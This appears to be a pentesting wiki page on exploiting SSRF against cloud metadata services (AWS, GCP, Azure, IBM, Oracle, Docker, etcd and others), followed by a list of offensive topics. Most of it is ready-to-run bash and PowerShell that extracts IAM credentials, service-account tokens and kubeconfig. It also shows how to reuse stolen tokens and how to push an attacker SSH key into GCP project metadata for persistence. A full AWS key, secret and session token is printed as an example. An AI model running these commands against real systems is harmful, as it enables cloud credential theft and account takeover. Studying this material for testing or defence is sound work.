Cloud SSRF

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AWS

Abusing SSRF in AWS EC2 environment

The metadata endpoint can be accessed from inside any EC2 machine and offers interesting information about it. It's accesible in the url: http://169.254.169.254 (information about the metadata here).

There are 2 versions of the metadata endpoint. The first one allows to access the endpoint via GET requests (so any SSRF can exploit it). For the version 2, IMDSv2, you need to ask for a token sending a PUT request with a HTTP header and then use that token to access the metadata with another HTTP header (so it's more complicated to abuse with a SSRF).

❌

Note that if the EC2 instance is enforcing IMDSv2, according to the docs, the response of the PUT request will have a hop limit of 1, making impossible to access the EC2 metadata from a container inside the EC2 instance.

Moreover, IMDSv2 will also block requests to fetch a token that include the X-Forwarded-For header. This is to prevent misconfigured reverse proxies from being able to access it.

You can find information about the metadata endpoints in the docs. In the following script some interesting information is obtained from it:

bash

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
    aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
    aws_req="wget -q -O - -H '$HEADER'"
else 
    echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do 
  echo "Mac: $mac"
  printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
  printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
  printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
  echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
  printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
  echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
  printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
  echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
  echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do 
  echo "Role: $role"
  eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
  echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

As a publicly available IAM credentials exposed example you can visit: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

You can also check public EC2 security credentials in: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

You can then take those credentials and use them with the AWS CLI. This will allow you to do anything that role has permissions to do.

To take advantage of the new credentials, you will need to crate a new AWS profile like this one:

[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Notice the aws_session_token, this is indispensable for the profile to work.

PACU can be used with the discovered credentials to find out your privileges and try to escalate privileges

SSRF in AWS ECS (Container Service) credentials

ECS, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in ECS, the metadata endpoints change.

If you access http://169.254.170.2/v2/credentials/\<GUID> you will find the credentials of the ECS machine. But first you need to find the <GUID>. To find the <GUID> you need to read the environ variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI inside the machine.
You could be able to read it exploiting an Path Traversal to file:///proc/self/environ
The mentioned http address should give you the AccessKey, SecretKey and token.

bash

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

ℹ️

Note that in some cases you will be able to access the EC2 metadata instance from the container (check IMDSv2 TTL limitations mentioned previously). In these scenarios from the container you could access both the container IAM role and the EC2 IAM role.

SSRF for AWS Lambda <a href="#id-6f97" id="id-6f97"></a>

In this case the credentials are stored in env variables. So, to access them you need to access something like file:///proc/self/environ.

The name of the interesting env variables are:

AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID

Moreover, in addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface and could contain sensitive information (like inside the stageVariables). Unlike IAM credentials, this data is accessible over standard SSRF at http://localhost:9001/2018-06-01/runtime/invocation/next.

⚠️

Note that lambda credentials are inside the env variables. So if the stack trace of the lambda code prints env vars, it's possible to exfiltrate them provoking an error in the app.

SSRF URL for AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>

We retrieve the accountId and region from the API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

We then retrieve the AccessKeyId, SecretAccessKey, and Token from the API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Then we use the credentials with aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP <a href="#id-6440" id="id-6440"></a>

You can find here the docs about metadata endpoints.

SSRF URL for Google Cloud <a href="#id-6440" id="id-6440"></a>

Requires the HTTP header Metadata-Flavor: Google and you can access the metadata endpoint in with the following URLs:

Interesting endpoints to extract information:

bash

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do 
    echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
    echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
    echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
    echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
    echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
    echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do 
    echo "  Name: $sa"
    echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
    echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
    echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
    echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
    echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
    echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
    -H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
    -H "Metadata-Flavor: Google"

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

❌

In order to use the exfiltrated service account token you can just do:

bash

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

Add an SSH key <a href="#id-3e24" id="id-3e24"></a>

Extract the token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Check the scope of the token (with the previous output or running the following)

bash

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  { 
        "issued_to": "101302079XXXXX", 
        "audience": "10130207XXXXX", 
        "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", 
        "expires_in": 2443, 
        "access_type": "offline" 
}

Now push the SSH key.

bash

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" 
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" 
-H "Content-Type: application/json" 
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>

The metadata endpoint works the same as in VMs but without some endpoints:

bash

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do 
    echo "  Name: $sa"
    echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
    echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
    echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
    echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
    echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
    echo "  ==============  "
done

Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>

⚠️

There isn't things like AWS Roles or GCP service account, so don't expect to find metadata bot credentials

Documentation available at https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/ 
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure <a href="#cea8" id="cea8"></a>

Azure VM

Docs in here.

Must contain the header Metadata: true
Must not contain an X-Forwarded-For header

Azure App Service

From the env you can get the values of IDENTITY_HEADER and IDENTITY_ENDPOINT. That you can use to gather a token to speak with the metadata server.

Most of the time, you want a token for one of these resources:

bash

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"

powershell

# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
 Method = 'GET'
 Uri = $URI
 Headers = @{
  'Authorization' = "Bearer $Token"
 }
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
 Method = 'GET'
 Uri = $URI
 Headers = @{
 'Authorization' = "Bearer $Token"
 }
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
 + CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
 + FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

IBM Cloud <a href="#id-2af0" id="id-2af0"></a>

⚠️

Note that in IBM by default metadata is not enabled, so it's possible that you won't be able to access it even if you are inside an IBM cloud VM

bash

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
  -H "Metadata-Flavor: ibm"\
  -H "Accept: application/json"\
  -d '{
        "expires_in": 3600
      }' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

Documentation for various platforms' metadata services is outlined below, highlighting the methods through which configuration and runtime information for instances can be accessed. Each platform offers unique endpoints to access its metadata services.

Packetcloud

For accessing Packetcloud's metadata, the documentation can be found at: https://metadata.packet.net/userdata

OpenStack/RackSpace

The necessity for a header is not mentioned. Metadata can be accessed through:

http://169.254.169.254/openstack

HP Helion

The necessity for a header is not mentioned here either. Metadata is accessible at:

http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud provides a series of endpoints for accessing various metadata aspects:

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

Alibaba

Alibaba offers endpoints for accessing metadata, including instance and image IDs:

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD can hold API keys, internal IP addresses, and ports. Access is demonstrated through:

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Docker metadata can be accessed locally, with examples given for container and image information retrieval:

Simple example to access containers and images metadata via the Docker socket:
- docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
- Inside the container, use curl with the Docker socket:
  - curl --unix-socket /var/run/docker.sock http://foo/containers/json
  - curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Rancher's metadata can be accessed using:

curl http://rancher-metadata/<version>/<path>

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External Recon Methodology

Pentesting Network

Pentesting Wifi

Phishing Methodology

Basic Forensic Methodology

Memory dump analysis

Partitions/File Systems/Carving

Pcap Inspection

Specific Software/File-Type Tricks

Windows Artifacts

Python Sandbox Escape & Pyscript

Bypass Python sandboxes

Shells (Linux, Windows, MSFVenom)

Linux Privilege Escalation

Docker Security

Docker Breakout / Privilege Escalation

Namespaces

Interesting Groups - Linux Privesc

Bypass Linux Restrictions

Bypass FS protections: read-only / no-exec / Distroless

Linux Post-Exploitation

macOS Security & Privilege Escalation

macOS Apps - Inspecting, debugging and Fuzzing

macOS Kernel & System Extensions

macOS Files, Folders, Binaries & Memory

macOS Process Abuse

macOS IPC - Inter Process Communication

macOS Library Injection

macOS Security Protections

macOS Sandbox

macOS TCC

macOS FS Tricks

macOS Red Teaming

macOS MDM

Windows Local Privilege Escalation

Dll Hijacking

Active Directory Methodology

Abusing Active Directory ACLs/ACEs

AD Certificates

Windows Security Controls

NTLM

Lateral Movement

Stealing Windows Credentials

Basic PowerShell for Pentesters

Android Applications Pentesting

Drozer Tutorial

Frida Tutorial

iOS Pentesting

Pentesting VoIP

Basic VoIP Protocols

21 - Pentesting FTP

25,465,587 - Pentesting SMTP/s

80,443 - Pentesting Web Methodology

Buckets

Drupal

Electron Desktop Apps

PHP Tricks

PHP - Useful Functions & disable_functions/open_basedir bypass

Tomcat

88tcp/udp - Pentesting Kerberos

139,445 - Pentesting SMB

161,162,10161,10162/udp - Pentesting SNMP

1433 - Pentesting MSSQL - Microsoft SQL Server

11211 - Pentesting Memcache

Reflecting Techniques - PoCs and Polygloths CheatSheet

Browser Extension Pentesting Methodology

Cache Poisoning and Cache Deception

Content Security Policy (CSP) Bypass

Cookies Hacking

Dangling Markup - HTML scriptless injection

Deserialization

NodeJS - __proto__ & prototype Pollution

File Inclusion/Path traversal

File Upload

HTTP Request Smuggling / HTTP Desync Attack

Login Bypass

PostMessage Vulnerabilities

SAML Attacks

SQL Injection

MySQL injection

NodeJS - proto & prototype Pollution

Cloud SSRF

AWS

Abusing SSRF in AWS EC2 environment

SSRF in AWS ECS (Container Service) credentials

SSRF for AWS Lambda <a href="#id-6f97" id="id-6f97"></a>

SSRF URL for AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>

GCP <a href="#id-6440" id="id-6440"></a>

SSRF URL for Google Cloud <a href="#id-6440" id="id-6440"></a>

Add an SSH key <a href="#id-3e24" id="id-3e24"></a>

Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>

Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>

Azure <a href="#cea8" id="cea8"></a>

Azure VM

Azure App Service

IBM Cloud <a href="#id-2af0" id="id-2af0"></a>

Packetcloud

OpenStack/RackSpace

HP Helion

Oracle Cloud